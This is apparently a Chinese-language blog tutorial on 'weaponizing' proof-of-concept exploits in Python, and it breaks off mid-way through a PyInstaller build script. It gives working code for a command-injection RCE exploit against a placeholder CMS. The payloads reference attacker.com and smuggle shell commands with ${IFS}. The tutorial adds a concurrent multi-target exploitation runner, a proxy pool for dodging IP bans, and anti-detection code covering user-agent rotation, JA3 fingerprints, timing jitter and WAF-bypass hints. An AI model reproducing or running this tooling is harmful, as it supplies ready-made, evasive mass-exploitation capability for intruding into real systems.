首页 / 文章 / 安全开发

Python安全工具开发:从POC到武器化

前言:POC与武器化的鸿沟

安全研究人员日常大量接触POC(Proof of Concept)代码——它们通常是一段能证明漏洞存在的脚本,但距离实战使用还有巨大差距。一个典型的POC往往存在这些问题:

  • 没有错误处理,遇到异常直接崩溃
  • 单线程执行,打100个目标要等半小时
  • 没有代理支持,打出第一个payload就被封IP
  • 输出混乱,无法与其他工具联动
  • 缺少交互式Shell,获取权限后无法操作

武器化(Weaponization) 就是将POC转化为稳定、高效、隐蔽、可复用的攻击工具的过程。本文将从POC编写模式、EXP框架设计、并发模型、代理池、反检测技术到打包分发,完整覆盖Python安全工具开发全流程。

一、POC编写规范与模式

1.1 标准POC模板

#!/usr/bin/env python3
"""
CVE-2024-XXXX - TargetCMS v3.2.1 Remote Code Execution
Author: security-researcher
Date: 2026-06-12
Severity: Critical (CVSS 9.8)
Affected: TargetCMS <= 3.2.1
"""

import argparse
import sys
import requests
from urllib.parse import urljoin

# 禁用SSL警告(测试环境)
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# ============ 配置区 ============
TIMEOUT = 15
USER_AGENT = "Mozilla/5.0 (compatible; Security-Audit/1.0)"
PROXIES = None  # {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

# ============ 日志系统 ============
import logging
logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s [%(levelname)s] %(message)s",
    datefmt="%Y-%m-%d %H:%M:%S"
)
logger = logging.getLogger(__name__)


def check_version(target_url: str) -> tuple:
    """
    检测目标CMS版本
    返回: (is_vulnerable: bool, version: str)
    """
    try:
        resp = requests.get(
            urljoin(target_url, "/api/version"),
            headers={"User-Agent": USER_AGENT},
            proxies=PROXIES,
            timeout=TIMEOUT,
            verify=False
        )
        
        if resp.status_code == 200:
            data = resp.json()
            version = data.get("version", "unknown")
            
            # 版本比较
            vulnerable = version <= "3.2.1"
            logger.info(f"Target version: {version}, Vulnerable: {vulnerable}")
            return vulnerable, version
            
    except requests.exceptions.ConnectionError:
        logger.error(f"Cannot connect to {target_url}")
    except Exception as e:
        logger.error(f"Version check failed: {e}")
    
    return False, "unknown"


def check_vulnerability(target_url: str) -> bool:
    """
    漏洞检测(非破坏性)
    仅检测漏洞是否存在,不执行命令
    """
    vulnerable, version = check_version(target_url)
    
    if not vulnerable:
        logger.info(f"Target version {version} is not vulnerable")
        return False
    
    # Fingerprint检测
    check_url = urljoin(target_url, "/api/plugin/install")
    
    payload = {
        "name": "test_plugin",
        "url": f"http://127.0.0.1:{9999}/nonexistent.zip",
        "type": "zip"
    }
    
    try:
        resp = requests.post(
            check_url,
            json=payload,
            headers={"User-Agent": USER_AGENT},
            proxies=PROXIES,
            timeout=TIMEOUT,
            verify=False
        )
        
        # 检查是否触发了SSRF特性(判定漏洞存在)
        if "download_failed" in resp.text or "connection_refused" in resp.text:
            logger.info("Vulnerability confirmed!")
            return True
        else:
            logger.warning(f"Unexpected response: {resp.text[:200]}")
            return False
            
    except Exception as e:
        logger.error(f"Check failed: {e}")
        return False


def exploit(target_url: str, command: str) -> bool:
    """
    漏洞利用(命令执行)
    """
    exploit_url = urljoin(target_url, "/api/plugin/install")
    
    # 恶意payload
    payload = {
        "name": "shell",
        "url": f"http://attacker.com/evil.zip;{command};#",
        "type": "command_injection"
    }
    
    try:
        logger.info(f"Executing command: {command}")
        resp = requests.post(
            exploit_url,
            json=payload,
            headers={"User-Agent": USER_AGENT},
            proxies=PROXIES,
            timeout=TIMEOUT,
            verify=False
        )
        
        if resp.status_code == 200:
            result = resp.json().get("output", "")
            logger.info(f"Command output:\n{result}")
            return True
        else:
            logger.warning(f"Exploit failed: {resp.status_code}")
            return False
            
    except Exception as e:
        logger.error(f"Exploit error: {e}")
        return False


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2024-XXXX - TargetCMS RCE Exploit"
    )
    parser.add_argument("-u", "--url", required=True, help="Target URL")
    parser.add_argument("-c", "--command", default="id", 
                       help="Command to execute (default: id)")
    parser.add_argument("--check", action="store_true",
                       help="Only check vulnerability, no exploitation")
    parser.add_argument("--proxy", help="Proxy URL (e.g. http://127.0.0.1:8080)")
    parser.add_argument("-v", "--verbose", action="store_true",
                       help="Verbose output")
    
    args = parser.parse_args()
    
    if args.verbose:
        logging.getLogger().setLevel(logging.DEBUG)
    
    global PROXIES
    if args.proxy:
        PROXIES = {"http": args.proxy, "https": args.proxy}
    
    # 标准化URL
    target = args.url.rstrip('/')
    if not target.startswith('http'):
        target = f"http://{target}"
    
    logger.info(f"Target: {target}")
    
    # 检测模式
    if args.check:
        is_vuln = check_vulnerability(target)
        status = "VULNERABLE" if is_vuln else "NOT VULNERABLE"
        print(f"\n[*] Target status: {status}")
        sys.exit(0 if is_vuln else 1)
    
    # 利用模式
    success = exploit(target, args.command)
    if success:
        print(f"\n[+] Exploit successful!")
    else:
        print(f"\n[-] Exploit failed")
        sys.exit(1)


if __name__ == "__main__":
    main()

1.2 POC设计原则

原则 说明 反例
非破坏性检测 先检测再攻击,检测环节不造成危害 直接rm -rf探测
明确的状态码 用退出码表达结果(0=成功/1=失败) 所有情况都exit(0)
可配置化 代理、超时、UA都应该可配置 硬编码配置
结构化日志 使用logging而非print 混杂的print输出
参数验证 输入参数做校验和标准化 无检查直接使用
异常处理 所有网络IO都要try-except 裸调用requests

二、EXP框架设计

2.1 通用EXP框架

"""exp_framework.py - 通用漏洞利用框架"""
from abc import ABC, abstractmethod
from dataclasses import dataclass, field
from typing import Optional, Dict, Any, List
from enum import Enum
import requests
import json
import time
import logging

logger = logging.getLogger(__name__)

class ExploitResult(Enum):
    SUCCESS = "success"
    FAILED = "failed"
    UNCERTAIN = "uncertain"
    NOT_VULNERABLE = "not_vulnerable"
    TIMEOUT = "timeout"
    BLOCKED = "blocked"

@dataclass
class ExploitConfig:
    """漏洞利用配置"""
    target: str
    proxy: Optional[str] = None
    timeout: int = 15
    retries: int = 2
    delay: float = 1.0
    user_agent: str = "Mozilla/5.0 (Security-Test/1.0)"
    extra: Dict[str, Any] = field(default_factory=dict)

@dataclass
class ExploitOutput:
    """漏洞利用输出"""
    result: ExploitResult
    target: str
    vuln_name: str
    evidence: str = ""
    raw_output: str = ""
    request_data: str = ""
    response_data: str = ""
    timestamp: float = field(default_factory=time.time)

class BaseExploit(ABC):
    """漏洞利用基类"""
    
    # 子类需覆盖的属性
    vuln_name: str = "Unknown"
    vuln_id: str = "CVE-0000-0000"
    description: str = ""
    severity: str = "high"
    affected_versions: str = ""
    
    def __init__(self, config: ExploitConfig):
        self.config = config
        self.session = requests.Session()
        self._setup_session()
    
    def _setup_session(self):
        """初始化HTTP Session"""
        self.session.headers.update({
            "User-Agent": self.config.user_agent,
            "Accept": "*/*",
            "Accept-Language": "en-US,en;q=0.9",
            "Connection": "keep-alive",
        })
        
        if self.config.proxy:
            self.session.proxies = {
                "http": self.config.proxy,
                "https": self.config.proxy
            }
        
        # 禁用SSL验证
        self.session.verify = False
    
    @abstractmethod
    def check(self) -> ExploitOutput:
        """漏洞检测(非破坏性)"""
        pass
    
    @abstractmethod
    def exploit(self, payload: str = None) -> ExploitOutput:
        """漏洞利用"""
        pass
    
    def send_request(self, method: str, url: str, 
                    **kwargs) -> requests.Response:
        """统一请求发送(带重试)"""
        for attempt in range(self.config.retries + 1):
            try:
                response = self.session.request(
                    method, url,
                    timeout=self.config.timeout,
                    **kwargs
                )
                return response
            except requests.exceptions.Timeout:
                if attempt < self.config.retries:
                    logger.warning(f"Timeout, retrying ({attempt+1}/{self.config.retries})")
                    time.sleep(self.config.delay * (attempt + 1))
                else:
                    raise
            except requests.exceptions.ConnectionError as e:
                if attempt < self.config.retries:
                    time.sleep(self.config.delay)
                else:
                    raise
    
    def get_interactive_shell(self, callback_url: str = None):
        """
        获取交互式Shell(如果利用成功)
        支持多种Shell类型
        """
        raise NotImplementedError(
            "Interactive shell not implemented for this exploit"
        )


class MultiTargetRunner:
    """多目标批量执行器"""
    
    def __init__(self, exploit_class: type, configs: List[ExploitConfig],
                 max_workers: int = 10):
        self.exploit_class = exploit_class
        self.configs = configs
        self.max_workers = max_workers
        self.results: List[ExploitOutput] = []
    
    def run(self, mode: str = "check") -> List[ExploitOutput]:
        """
        并发执行漏洞检测/利用
        mode: "check" or "exploit"
        """
        from concurrent.futures import ThreadPoolExecutor, as_completed
        
        logger.info(f"Running {mode} on {len(self.configs)} targets "
                    f"with {self.max_workers} workers")
        
        with ThreadPoolExecutor(max_workers=self.max_workers) as executor:
            futures = {}
            for config in self.configs:
                exploit = self.exploit_class(config)
                
                if mode == "check":
                    future = executor.submit(exploit.check)
                else:
                    future = executor.submit(exploit.exploit)
                
                futures[future] = config.target
            
            for future in as_completed(futures):
                target = futures[future]
                try:
                    output = future.result(timeout=30)
                    self.results.append(output)
                    
                    status = "✓" if output.result == ExploitResult.SUCCESS else "✗"
                    logger.info(f"[{status}] {target}: {output.result.value}")
                    
                except Exception as e:
                    logger.error(f"[✗] {target}: {e}")
                    self.results.append(ExploitOutput(
                        result=ExploitResult.FAILED,
                        target=target,
                        vuln_name=self.exploit_class.vuln_name,
                        evidence=str(e)
                    ))
        
        return self.results
    
    def summary(self) -> str:
        """生成执行摘要"""
        total = len(self.results)
        success = sum(1 for r in self.results 
                     if r.result == ExploitResult.SUCCESS)
        vulnerable = sum(1 for r in self.results 
                        if r.result != ExploitResult.NOT_VULNERABLE 
                        and r.result != ExploitResult.FAILED)
        
        return (
            f"\n{'='*50}\n"
            f"  Execution Summary\n"
            f"  Total targets: {total}\n"
            f"  Vulnerable: {vulnerable}\n"
            f"  Successfully exploited: {success}\n"
            f"{'='*50}"
        )
    
    def export_results(self, path: str):
        """导出结果为JSON"""
        output = []
        for r in self.results:
            output.append({
                "target": r.target,
                "vuln_name": r.vuln_name,
                "result": r.result.value,
                "evidence": r.evidence[:500],
                "timestamp": r.timestamp
            })
        
        with open(path, 'w') as f:
            json.dump(output, f, indent=2, ensure_ascii=False)
        
        logger.info(f"Results exported to {path}")

2.2 具体EXP实现示例

"""exploit_example.py - 具体漏洞EXP"""
from exp_framework import BaseExploit, ExploitConfig, ExploitOutput, ExploitResult
import re

class CVE2024_XXXX_RCE(BaseExploit):
    """TargetCMS RCE Exploit"""
    
    vuln_name = "TargetCMS Plugin Install RCE"
    vuln_id = "CVE-2024-XXXX"
    description = "Command injection in plugin installation endpoint"
    severity = "critical"
    affected_versions = "TargetCMS <= 3.2.1"
    
    def check(self) -> ExploitOutput:
        """非破坏性漏洞检测"""
        try:
            # Step 1: 版本检测
            resp = self.send_request("GET", 
                f"{self.config.target}/api/version")
            
            if resp.status_code != 200:
                return ExploitOutput(
                    result=ExploitResult.FAILED,
                    target=self.config.target,
                    vuln_name=self.vuln_name,
                    evidence=f"Version check failed: status={resp.status_code}"
                )
            
            version = resp.json().get("version", "")
            if version > "3.2.1":
                return ExploitOutput(
                    result=ExploitResult.NOT_VULNERABLE,
                    target=self.config.target,
                    vuln_name=self.vuln_name,
                    evidence=f"Version {version} is not affected"
                )
            
            # Step 2: DNS外带检测(非破坏性)
            import hashlib
            unique_id = hashlib.md5(self.config.target.encode()).hexdigest()[:8]
            dnslog_domain = f"{unique_id}.dnslog.example.com"
            
            payload = {
                "name": "test",
                "url": f"http://{dnslog_domain}/test.zip"
            }
            
            resp = self.send_request("POST",
                f"{self.config.target}/api/plugin/install",
                json=payload)
            
            # 如果触发了SSRF请求(DNS解析),说明存在漏洞
            if "download_started" in resp.text or "resolving" in resp.text.lower():
                return ExploitOutput(
                    result=ExploitResult.SUCCESS,
                    target=self.config.target,
                    vuln_name=self.vuln_name,
                    evidence=f"SSRF triggered via plugin install. "
                            f"DNS callback: {dnslog_domain}",
                    response_data=resp.text[:500]
                )
            
            return ExploitOutput(
                result=ExploitResult.UNCERTAIN,
                target=self.config.target,
                vuln_name=self.vuln_name,
                evidence=f"Version {version} seems vulnerable but SSRF not confirmed"
            )
            
        except Exception as e:
            return ExploitOutput(
                result=ExploitResult.FAILED,
                target=self.config.target,
                vuln_name=self.vuln_name,
                evidence=str(e)
            )
    
    def exploit(self, command: str = None) -> ExploitOutput:
        """命令执行利用"""
        if command is None:
            command = "id"
        
        try:
            # 编码Payload避免特殊字符问题
            encoded_cmd = command.replace(" ", "${IFS}")
            
            exploit_payload = {
                "name": "pwned",
                "url": (
                    f"http://127.0.0.1/nonexistent.zip;"
                    f"{encoded_cmd}"
                    f" 2>&1 > /tmp/pwned_output.txt;#"
                ),
                "type": "command_injection"
            }
            
            resp = self.send_request("POST",
                f"{self.config.target}/api/plugin/install",
                json=exploit_payload)
            
            # 尝试读取命令输出
            time.sleep(2)  # 等待命令执行
            
            read_payload = {
                "name": "reader",
                "url": "http://127.0.0.1/reader.zip;cat${IFS}"
                       "/tmp/pwned_output.txt;#"
            }
            
            resp2 = self.send_request("POST",
                f"{self.config.target}/api/plugin/install",
                json=read_payload)
            
            # 从响应中提取命令输出
            output_match = re.search(r'output["\']:\s*["\'](.+?)["\']', 
                                     resp2.text, re.DOTALL)
            
            if output_match:
                cmd_output = output_match.group(1)
                return ExploitOutput(
                    result=ExploitResult.SUCCESS,
                    target=self.config.target,
                    vuln_name=self.vuln_name,
                    evidence=f"RCE successful! Command: {command}",
                    raw_output=cmd_output,
                    response_data=resp2.text[:1000]
                )
            
            return ExploitOutput(
                result=ExploitResult.SUCCESS,
                target=self.config.target,
                vuln_name=self.vuln_name,
                evidence=f"Command executed (status: {resp.status_code})",
                response_data=resp.text[:500]
            )
            
        except Exception as e:
            return ExploitOutput(
                result=ExploitResult.FAILED,
                target=self.config.target,
                vuln_name=self.vuln_name,
                evidence=str(e)
            )


# 批量使用示例
if __name__ == "__main__":
    targets = [
        ExploitConfig(target="http://target1.com", proxy="http://127.0.0.1:8080"),
        ExploitConfig(target="http://target2.com"),
        ExploitConfig(target="http://target3.com", timeout=30),
    ]
    
    runner = MultiTargetRunner(CVE2024_XXXX_RCE, targets, max_workers=5)
    runner.run(mode="check")
    print(runner.summary())
    runner.export_results("results.json")

三、多线程与协程并发

3.1 三种并发模式对比

"""concurrency_patterns.py - Python并发模式对比"""
import asyncio
import aiohttp
import requests
import time
import threading
from concurrent.futures import ThreadPoolExecutor, ProcessPoolExecutor
from typing import List, Callable, Any
from dataclasses import dataclass

@dataclass
class BenchmarkResult:
    name: str
    total_time: float
    success_count: int
    error_count: int
    requests_per_second: float

# ============ 模式1: 同步(基线)============
def sync_scan(targets: List[str]) -> BenchmarkResult:
    """同步顺序扫描"""
    start = time.time()
    success = 0
    errors = 0
    
    for url in targets:
        try:
            resp = requests.get(url, timeout=10)
            if resp.status_code == 200:
                success += 1
        except:
            errors += 1
    
    elapsed = time.time() - start
    return BenchmarkResult(
        name="Synchronous",
        total_time=elapsed,
        success_count=success,
        error_count=errors,
        requests_per_second=len(targets) / elapsed
    )

# ============ 模式2: 多线程 ============
def thread_scan(targets: List[str], max_workers: int = 20) -> BenchmarkResult:
    """多线程扫描"""
    start = time.time()
    success = 0
    errors = 0
    lock = threading.Lock()
    
    def check_single(url):
        nonlocal success, errors
        try:
            resp = requests.get(url, timeout=10)
            with lock:
                if resp.status_code == 200:
                    success += 1
        except:
            with lock:
                errors += 1
    
    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        executor.map(check_single, targets)
    
    elapsed = time.time() - start
    return BenchmarkResult(
        name=f"ThreadPool({max_workers} workers)",
        total_time=elapsed,
        success_count=success,
        error_count=errors,
        requests_per_second=len(targets) / elapsed
    )

# ============ 模式3: asyncio协程 ============
async def async_scan(targets: List[str], 
                     concurrency: int = 50) -> BenchmarkResult:
    """异步协程扫描"""
    start = time.time()
    success = 0
    errors = 0
    semaphore = asyncio.Semaphore(concurrency)
    
    async def check_single(session, url):
        nonlocal success, errors
        async with semaphore:
            try:
                async with session.get(url, 
                    timeout=aiohttp.ClientTimeout(total=10)) as resp:
                    if resp.status == 200:
                        success += 1
            except:
                errors += 1
    
    connector = aiohttp.TCPConnector(limit=concurrency)
    async with aiohttp.ClientSession(connector=connector) as session:
        tasks = [check_single(session, url) for url in targets]
        await asyncio.gather(*tasks)
    
    elapsed = time.time() - start
    return BenchmarkResult(
        name=f"asyncio({concurrency} concurrent)",
        total_time=elapsed,
        success_count=success,
        error_count=errors,
        requests_per_second=len(targets) / elapsed
    )

# ============ 模式4: asyncio + 多进程 ============
async def async_worker(worker_id: int, targets: List[str], 
                      queue: asyncio.Queue):
    """异步worker(多进程中运行)"""
    async with aiohttp.ClientSession() as session:
        for url in targets:
            try:
                async with session.get(url, 
                    timeout=aiohttp.ClientTimeout(total=10)) as resp:
                    await queue.put(("success", url, resp.status))
            except Exception as e:
                await queue.put(("error", url, str(e)))

def process_worker(targets_chunk: List[str]) -> List[tuple]:
    """进程worker"""
    results = []
    
    async def run():
        queue = asyncio.Queue()
        await async_worker(0, targets_chunk, queue)
        while not queue.empty():
            results.append(await queue.get())
    
    asyncio.run(run())
    return results

def hybrid_scan(targets: List[str], 
                num_processes: int = 4) -> BenchmarkResult:
    """混合模式:多进程 + 协程"""
    start = time.time()
    
    # 将目标分配给多个进程
    chunk_size = len(targets) // num_processes
    chunks = [targets[i:i+chunk_size] 
              for i in range(0, len(targets), chunk_size)]
    
    with ProcessPoolExecutor(max_workers=num_processes) as executor:
        results = list(executor.map(process_worker, chunks))
    
    all_results = [item for sublist in results for item in sublist]
    success = sum(1 for r in all_results if r[0] == "success")
    errors = len(all_results) - success
    
    elapsed = time.time() - start
    return BenchmarkResult(
        name=f"Hybrid({num_processes} processes + asyncio)",
        total_time=elapsed,
        success_count=success,
        error_count=errors,
        requests_per_second=len(targets) / elapsed
    )

# ============ 性能对比 ============
def benchmark(targets: List[str]):
    """运行所有模式的性能对比"""
    print(f"Benchmarking {len(targets)} targets\n")
    results = []
    
    # 同步基线(仅测试前10个作为参考)
    results.append(sync_scan(targets[:10]))
    
    # 多线程
    results.append(thread_scan(targets, max_workers=20))
    
    # asyncio
    results.append(asyncio.run(async_scan(targets, concurrency=50)))
    
    # 混合
    results.append(hybrid_scan(targets, num_processes=4))
    
    # 输出对比
    print(f"{'Mode':<40} {'Time':<10} {'RPS':<10} {'Success':<10}")
    print("-" * 70)
    for r in results:
        print(f"{r.name:<40} {r.total_time:<10.2f} "
              f"{r.requests_per_second:<10.1f} {r.success_count:<10}")


if __name__ == "__main__":
    # 生成测试目标
    test_targets = [f"http://example.com/page/{i}" for i in range(100)]
    benchmark(test_targets)

3.2 并发模式选择指南

场景 推荐模式 原因
< 50个目标 ThreadPool(20) 简单够用
50-1000个目标 asyncio(50+) 协程轻量,内存友好
> 1000个目标 Hybrid(4p + asyncio) 突破GIL限制
CPU密集型(加密/编码) ProcessPool 利用多核
需要速率控制 asyncio + Semaphore 精确控制并发数
需要代理切换 ThreadPool + 代理池 简单可维护

四、代理池系统

4.1 代理池实现

"""proxy_pool.py - 代理池管理与自动切换"""
import random
import time
import threading
from typing import List, Optional, Dict
from dataclasses import dataclass, field
from collections import deque
import requests

@dataclass
class Proxy:
    """代理节点"""
    url: str
    protocol: str = "http"  # http, https, socks5
    latency: float = 999.0
    success_count: int = 0
    fail_count: int = 0
    last_used: float = 0.0
    last_check: float = 0.0
    is_alive: bool = True
    max_fails: int = 5
    cooldown_time: float = 60.0  # 冷却时间(秒)
    
    def mark_success(self, latency: float = 0):
        self.success_count += 1
        self.fail_count = 0  # 重置连续失败计数
        self.latency = (self.latency * 0.7) + (latency * 0.3)  # 指数移动平均
        self.last_used = time.time()
        self.is_alive = True
    
    def mark_failure(self):
        self.fail_count += 1
        self.last_used = time.time()
        if self.fail_count >= self.max_fails:
            self.is_alive = False
    
    def can_use(self) -> bool:
        """判断代理是否可用"""
        if not self.is_alive:
            # 检查冷却期是否结束
            if time.time() - self.last_used > self.cooldown_time:
                self.is_alive = True
                self.fail_count = 0
            else:
                return False
        return True
    
    @property
    def proxy_dict(self) -> dict:
        """返回requests库格式的代理字典"""
        return {self.protocol: self.url}

class ProxyPool:
    """代理池管理器"""
    
    def __init__(self, initial_proxies: List[str] = None,
                 check_interval: float = 300.0):
        self.proxies: Dict[str, Proxy] = {}
        self.available: deque = deque()
        self.lock = threading.Lock()
        self.check_interval = check_interval
        
        # 添加初始代理
        if initial_proxies:
            for proxy_url in initial_proxies:
                self.add_proxy(proxy_url)
    
    def add_proxy(self, url: str, protocol: str = "http"):
        """添加代理"""
        with self.lock:
            if url not in self.proxies:
                proxy = Proxy(url=url, protocol=protocol)
                self.proxies[url] = proxy
                if proxy.can_use():
                    self.available.append(url)
    
    def remove_proxy(self, url: str):
        """移除代理"""
        with self.lock:
            if url in self.proxies:
                del self.proxies[url]
                if url in self.available:
                    self.available.remove(url)
    
    def get_proxy(self, strategy: str = "round_robin") -> Optional[Proxy]:
        """
        获取一个代理
        strategy: "round_robin", "random", "lowest_latency"
        """
        with self.lock:
            # 过滤可用代理
            available_proxies = [
                self.proxies[url] for url in self.available
                if self.proxies[url].can_use()
            ]
            
            if not available_proxies:
                return None
            
            if strategy == "random":
                return random.choice(available_proxies)
            elif strategy == "lowest_latency":
                return min(available_proxies, key=lambda p: p.latency)
            else:  # round_robin
                url = self.available.popleft()
                self.available.append(url)
                return self.proxies[url]
    
    def health_check(self, proxy: Proxy, test_url: str = "http://httpbin.org/ip"):
        """代理健康检查"""
        try:
            start = time.time()
            resp = requests.get(
                test_url,
                proxies=proxy.proxy_dict,
                timeout=10
            )
            latency = time.time() - start
            
            if resp.status_code == 200:
                proxy.mark_success(latency)
                return True
        except:
            pass
        
        proxy.mark_failure()
        return False
    
    def check_all(self):
        """检查所有代理的健康状态"""
        print(f"[*] Health check: {len(self.proxies)} proxies")
        alive = 0
        for url, proxy in list(self.proxies.items()):
            if self.health_check(proxy):
                alive += 1
        print(f"[+] Alive: {alive}/{len(self.proxies)}")
        return alive
    
    def auto_refresh(self, proxy_sources: List[str]):
        """
        自动从代理源刷新代理列表
        proxy_sources: 代理获取URL列表
        """
        for source_url in proxy_sources:
            try:
                resp = requests.get(source_url, timeout=15)
                if resp.status_code == 200:
                    # 假设返回格式为每行一个代理地址
                    lines = resp.text.strip().split('\n')
                    for line in lines:
                        if ':' in line:
                            proxy_url = f"http://{line.strip()}"
                            self.add_proxy(proxy_url)
                            print(f"[+] Added proxy: {proxy_url}")
            except Exception as e:
                print(f"[-] Failed to fetch from {source_url}: {e}")
    
    def stats(self) -> str:
        """代理池统计信息"""
        with self.lock:
            alive = sum(1 for p in self.proxies.values() if p.is_alive)
            return (
                f"Proxy Pool: {alive}/{len(self.proxies)} alive, "
                f"Next in queue: {len(self.available)}"
            )
    
    def best_proxy_for(self, target_host: str) -> Optional[Proxy]:
        """
        为目标主机选择最佳代理
        策略:轮询但排除已知被ban的代理
        """
        # 可以扩展为按目标host维护ban列表
        return self.get_proxy(strategy="round_robin")


# ============ 使用示例:带代理池的扫描器 ============
class ProxyAwareScanner:
    """使用代理池的扫描器"""
    
    def __init__(self, proxy_pool: ProxyPool, max_retries: int = 3):
        self.pool = proxy_pool
        self.max_retries = max_retries
    
    def scan_with_proxy(self, target_url: str) -> dict:
        """使用代理进行扫描,自动切换失败代理"""
        for attempt in range(self.max_retries):
            proxy = self.pool.get_proxy()
            if not proxy:
                print("[-] No proxy available!")
                return {"error": "no_proxy"}
            
            try:
                resp = requests.get(
                    target_url,
                    proxies=proxy.proxy_dict,
                    timeout=10
                )
                proxy.mark_success()
                return {
                    "status": resp.status_code,
                    "proxy": proxy.url,
                    "content_length": len(resp.text)
                }
            except Exception as e:
                proxy.mark_failure()
                print(f"[-] Proxy {proxy.url} failed: {e}. Switching...")
                continue
        
        return {"error": "all_proxies_failed"}


# 初始化代理池
if __name__ == "__main__":
    pool = ProxyPool(initial_proxies=[
        "http://proxy1.example.com:8080",
        "http://proxy2.example.com:3128",
        "socks5://proxy3.example.com:1080",
    ])
    
    pool.check_all()
    print(pool.stats())
    
    scanner = ProxyAwareScanner(pool)
    result = scanner.scan_with_proxy("http://target.com")
    print(f"Scan result: {result}")

五、反检测与隐匿技术

5.1 User-Agent轮换与指纹混淆

"""anti_detection.py - 反检测技术"""
import random
import time
import hashlib
from typing import Dict

# ============ 真实浏览器UA库 ============
USER_AGENTS = [
    # Chrome 120 on Windows 10
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    
    # Chrome 120 on macOS
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    
    # Firefox 121 on Windows
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) "
    "Gecko/20100101 Firefox/121.0",
    
    # Edge on Windows
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0",
    
    # Safari on macOS
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 "
    "(KHTML, like Gecko) Version/17.1 Safari/605.1.15",
    
    # Mobile
    "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/120.0.6099.144 Mobile Safari/537.36",
]

# ============ 请求头模板 ============
REQUEST_HEADERS = {
    "Accept": [
        "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    ],
    "Accept-Language": [
        "en-US,en;q=0.9",
        "zh-CN,zh;q=0.9,en;q=0.8",
        "en-US,en;q=0.5",
    ],
    "Accept-Encoding": ["gzip, deflate, br"],
    "Cache-Control": ["no-cache", "max-age=0"],
    "Sec-Fetch-Dest": ["document"],
    "Sec-Fetch-Mode": ["navigate"],
    "Sec-Fetch-Site": ["none", "cross-site"],
}

def generate_random_headers() -> Dict[str, str]:
    """生成随机浏览器请求头"""
    headers = {
        "User-Agent": random.choice(USER_AGENTS),
    }
    
    for header, values in REQUEST_HEADERS.items():
        headers[header] = random.choice(values)
    
    return headers


class RLFingerprint:
    """随机化TLS指纹"""
    # 注:实际TLS指纹需要配合tls-client/curl-impersonate等底层工具
    # Python的requests库本身不支持修改TLS指纹
    
    JA3_FINGERPRINTS = [
        "771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-17513-21,29-23-24,0",
        "771,4865-4867-4866-49195-49199-52393-52392-49196-49200-49162-49161-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-34-51-43-27-17513-41,29-23-24-25,0",
    ]
    
    @staticmethod
    def get_random_ja3() -> str:
        return random.choice(RLFingerprint.JA3_FINGERPRINTS)


class TimingObfuscator:
    """时间混淆器 — 模拟人类浏览行为"""
    
    def __init__(self, base_delay: float = 1.0, jitter: float = 0.5):
        self.base_delay = base_delay
        self.jitter = jitter
    
    def delay(self):
        """随机延迟"""
        delay = self.base_delay + random.uniform(-self.jitter, self.jitter)
        delay = max(0.1, delay)  # 最少0.1秒
        time.sleep(delay)
    
    def think_delay(self):
        """模拟"思考"时间(用户阅读页面)"""
        delay = random.uniform(2.0, 8.0)
        time.sleep(delay)
    
    def typing_delay(self, text_length: int):
        """模拟打字延迟"""
        delay = text_length * random.uniform(0.05, 0.15)
        time.sleep(delay)


class StealthyRequester:
    """隐匿请求器"""
    
    def __init__(self, proxy_pool=None, timing_obfuscator=None):
        self.proxy_pool = proxy_pool
        self.timing = timing_obfuscator or TimingObfuscator()
        self.request_count = 0
    
    def stealthy_request(self, url: str, method: str = "GET", 
                        **kwargs) -> requests.Response:
        """
        发送隐匿请求
        特征:
        - 随机UA
        - 随机延迟
        - 代理轮换
        - 请求计数(防速率检测)
        """
        # 随机延迟
        self.timing.delay()
        
        # 随机请求头
        headers = generate_random_headers()
        if 'headers' in kwargs:
            headers.update(kwargs.pop('headers'))
        
        # 代理
        proxies = None
        if self.proxy_pool:
            proxy = self.proxy_pool.get_proxy()
            if proxy:
                proxies = proxy.proxy_dict
        
        # 随机Accept-Encoding(部分情况下不压缩可绕过某些WAF)
        if random.random() < 0.1:  # 10%概率不使用压缩
            headers.pop('Accept-Encoding', None)
        
        response = requests.request(
            method, url,
            headers=headers,
            proxies=proxies,
            timeout=15,
            verify=False,
            **kwargs
        )
        
        self.request_count += 1
        return response
    
    def multi_page_visit(self, urls: list):
        """模拟多页面浏览行为"""
        results = []
        
        for i, url in enumerate(urls):
            if i > 0:
                # 页面间"阅读"延迟
                self.timing.think_delay()
            
            response = self.stealthy_request(url)
            results.append(response)
            
            # 随机点击行为:偶尔跳过一些请求
            if random.random() < 0.05:  # 5%概率额外延迟
                self.timing.think_delay()
        
        return results

六、打包与分发

6.1 PyInstaller打包配置

# setup.py
"""打包配置"""
from setuptools import setup, find_packages

setup(
    name="security-toolkit",
    version="1.0.0",
    author="Security Team",
    description="Security Testing Toolkit",
    packages=find_packages(),
    install_requires=[
        "requests>=2.28.0",
        "aiohttp>=3.8.0",
        "beautifulsoup4>=4.11.0",
        "pyyaml>=6.0",
        "click>=8.0.0",
        "rich>=13.0.0",
        "tqdm>=4.64.0",
    ],
    entry_points={
        "console_scripts": [
            "st-scanner=scanner.cli:main",
            "st-exploit=exploit.cli:main",
        ]
    },
    python_requires=">=3.9",
)
#!/bin/bash
# build.sh - 构建脚本

echo "=== Security Toolkit Builder ==="

# 1. PyInstaller打包为单文件
pyinstaller \
    --name security-toolkit \
    --onefile \
    --add-data "payloads:payloads" \
